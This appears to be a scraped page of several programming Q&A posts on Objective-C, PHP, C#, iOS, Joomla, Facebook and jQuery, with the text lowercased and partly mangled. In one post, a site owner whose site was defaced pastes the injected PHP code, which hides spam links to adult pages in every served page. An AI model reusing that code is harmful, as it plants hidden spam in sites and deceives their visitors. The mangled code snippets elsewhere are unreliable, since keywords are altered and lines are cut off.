Posts

objective c - Opening 'New' Document? -

i have code implemented in mydocument.m file attempts load last used document upon launch. however, upon launching fresh install, (or running after deleting last used file) 'new' document window not appear. know add code this? here is: - (bool)applicationshouldopenuntitledfile:(nsapplication *)sender { nsurl *lasturl=[[nsdocumentcontroller shareddocumentcontroller] opendocumentwithcontentsofurl:lasturl display:yes error:nil]; if (lasturl!=nil) { [doccontroller opendocumentwithcontentsofurl:lasturl display:yes error:nil]; return no; } return yes; } - (bool)applicationshouldopenuntitledfile:(nsapplication *)sender { nsarray* urls = [[nsdocumentcontroller shareddocumentcontroller] recentdocumenturls]; if ([urls count] > 0){ nsurl *lasturl= [urls objectatindex: 0]; if ([[nsdocumentcontroller shareddocumentcontroller] opendocumentwithcontentsofurl:lasturl display:yes error:nil]){ ret...

php - my site got defaced. how to protect myself on shared hosting? -

i have godaddy shared hosting , site got defaced. @ fault? site created php possible person can in through vunerability on site , modify file? or through server side being godaddy wasnt secure enough? this injected in file. do? <?php //{{1311051f global $alreadyxxx; if($alreadyxxx != 1) { $alreadyxxx = 1; $olderrxxx=error_reporting(0); function outputxxx_callback($str) { $links = '<span style="font-style: normal; visibility: hidden; position: absolute; left: 0px; top: 0px;"><div id="rb4d41ca36473534443c002805"><a href="http://www.wcvi.org/community_development/ecogardners/fresh/blow-jobs-teen/blow-jobs-teen.html">blow jobs teen</a><br></div></span>'; preg_match("|</body>|si",$str,$arr); return str_replace($arr[0],$links.$arr[0],$str); } function strtonum($str, $check, $magic) { $int32unit = 4294967296; $length = strlen($str); ($i = 0; $i < $length; $i++) { ...

c# - triggering label to appear after firing 4 buttons onclick events -

i have algorithm don't know if correct way. mentioned, label appear after user clicks on 4 different buttons, each button auto post back. if(button 1 click && button 2 click && button 3 click && button 4 click) label1.visible = true; what should codes inside if statement? you can use viewstate this. on each button click event update view state button flag. example button 1 if(viewstate["mybuttonstate"]==null) viewstate["mybuttonstate"]=1; else viewstate["mybuttonstate"]=((int)viewstate["mybuttonstate"]) | 1; you can use flag enumeration better approach. button 1-4 use 1,2,4,8 , in if statement if(((int)viewstate["mybuttonstate"])==0x0000000f) label1.visible=true;

iphone - Under iOS, is there a quick way to see what symbols I have for specific UUID's? -

under ios, unique identifiers, known uuid's, assigned @ compile time. on time, developer may accumulate many builds different identifiers. may useful identify uuid's have preserved symbol files associated them. there quick way identify uuid's have preserved symbols? one option use command-line. replace yourappname real application's name. mdfind 'com_apple_xcode_dsym_uuids = *' | grep yourappname | grep dsym | sed 's, ,\\&,g' | xargs dwarfdump --uuid

php - joomla component does not work on my hosting account -

i develop custom joomla 1.5 component , it's working fine locally(wamp server ,php 5.3.5) , toolbar functions add/edit , delete not work on hosting account (apache ,php 5.2.16 ) i have 2 toolbars, when click on second toolbar redirect first one this code controller.php class galgallerifficcontroller extends jcontroller { /** * method display view * * @access public */ /** * constructor (registers additional tasks methods) * @return void */ function __construct() { parent::__construct(); // register tasks $this->registertask( 'add' , 'edit' ); } /** * display edit form * @return void */ function edit() { jrequest::setvar( 'view', 'gallery' ); jrequest::setvar( 'layout', 'form' ); jrequest::setvar('hidemainmenu', 1); parent::display(); } /** * remove record(s) * @return void */ function remove() { $model = $this->getmodel(...

.net - When using Graph API for mass notification, how do I make it efficient? -

i'm using facebook c# sdk , looking answer in context of library, general info might helpful. question when accessing multiple facebook users (e.g. send message authed users of application) best use graph api or more efficient method? efficiency i can use graph api's https://graph.facebook.com/ userid call ( requires 1 call each user info wanted ), feels inefficient make graph api call each user. the old rest api had call users.getinfo multiple user's info retrieved @ once, rest api being deprecated , facebook recommends not using longer. my other thought fql might viable users @ once; if can instead call graph api once per user without repercussion (e.g. # request governance, rate limiting, etc) prefer stick that. any other options? rate limits? i've seen discussion on graph api rate limits here , here don't know if concern. if want grab information multiple users can use https://graph.facebook.com/?ids=4,152078551499478&fiel...

jquery - Cannot get API to work. Help please! -

hi can't seem weather api work. i'm using jquery , json , below code i've been staring @ day , can't figure out i'm going wrong. please cast eyes on below , tell me what's going on? in advance dave. $.get('http://www.worldweatheronline.com/feed/weather.ashx?q=auckland,new+zealand&format=json&num_of_days=2&key=7677dba721211420113101', function(data, textstatus) { alert('status '+textstatus); alert('json data string is: '+data); // give array of objects var weather = json.parse(data); // iterate on public_tweets for(var x=0; x < weather.length; x++) { var twt = weather[x]; var elm = weather.current_condition.temp_c; alert('current temp is:'+elm); }); your loop doesn't have terminating bracket: $.get('http://www.worldweatheronline.com/feed/weather.ashx?q=auckland,new+zealand&format=json&num_of_days=2&key=7677dba721211420...